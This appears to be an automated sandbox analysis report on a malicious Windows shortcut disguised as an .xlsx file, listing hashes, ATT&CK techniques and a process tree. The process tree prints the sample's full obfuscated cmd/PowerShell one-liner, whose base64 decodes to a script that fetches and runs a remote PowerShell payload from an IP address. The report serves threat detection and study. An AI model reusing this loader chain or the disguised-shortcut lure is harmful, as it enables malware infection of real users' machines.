44583518937ea01f00ee8023a7e8a9daf68e84acf9a001d376abcd286114ee97

Analysis

max time kernel
30s
max time network
26s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-uk
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-uklocale:uk-uaos:windows11-ltsc_2024-x64systemwindows
submitted
07/08/2026, 16:19

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General

Target
SpisokZatrimanih.xlsx.lnk
Size 19KB
Sample260807-tszsfagg74
SHA256 44583518937ea01f00ee8023a7e8a9daf68e84acf9a001d376abcd286114ee97
MD5 19c3a5b15ab0a9e05f905935df70ac56
SHA1 947067e2fd99fd506508cf9fb8a82fc644ea2dc7
SHA512 23af0636a64b35e6af8dd69f5dc831c23d0772d800035329670fb14609d7b9b59ba54026207984fd7245a66ec09dc698200b649563a55c42d50e2ead2dce824b
SSDEEP 24:8d/VEBcqVecjcPt6lYaInZuF5dSp+UOiQlSEu+njVHqzlWUdZJmMi/Vr:8liatMYT8Fzy7TEu+njtlUMPtr
TLSH
T1C992CD3432F90009F0F3ED31BDF5B6D4ADAEB67A6D23165D488152095922E40FD26B2B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	568	cscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2796	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5664	cmd.exe
3740	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2796	powershell.exe
2796	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2796	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5664 wrote to memory of 3740	5664	cmd.exe	90
PID 3740 wrote to memory of 2796	3740	cmd.exe	91
PID 3740 wrote to memory of 568	3740	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\SpisokZatrimanih.xlsx.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && powershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzIwNy44OS4xOC42OC9obXN6Y2gwOC9tb3RvcmJvYXRl';$b='ZmZlY3RpdmVuZXNzLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmpl';$c='Y3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw==';[IO.File]::WriteAllBytes('Zy8bJs.js',[Convert]::FromBase64String($a+$b+$c))" && cscript //nologo //b Zy8bJs.js && del Zy8bJs.js"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzIwNy44OS4xOC42OC9obXN6Y2gwOC9tb3RvcmJvYXRl';$b='ZmZlY3RpdmVuZXNzLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmpl';$c='Y3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw==';[IO.File]::WriteAllBytes('Zy8bJs.js',[Convert]::FromBase64String($a+$b+$c))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2796
- - C:\Windows\system32\cscript.exe
    cscript //nologo //b Zy8bJs.js
    3⤵
    - Badlisted process makes network request
    PID:568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

Zy8bJs.js

Path C:\Users\Admin\AppData\Local\Temp\Zy8bJs.js
Size 313B
SHA256 c71825243c341db49f64a94e4a5172648ccb73cd1bcde5afb4077572ce38c035
MD5 1cbbaa5228d3e52dc3f85dd379946f49
SHA1 824edd9a24d530dfe1556e63e0e34c94093ad518
SHA512 5d49d6f00c18e57526d4c9a0df66a3418ddafa8b02e318b932fbfc784d03609070bea2843a3ff6c006d0b1a84db1b3cd612fd18d0964983d911b3bcd651fe71f
TLSH
T1D0E02DE00034A0EC01CB9FEC4010CB9081EB84A43002ECBBB742C9C42419200025D2CF
MD5 SHA1 SHA512 TLSH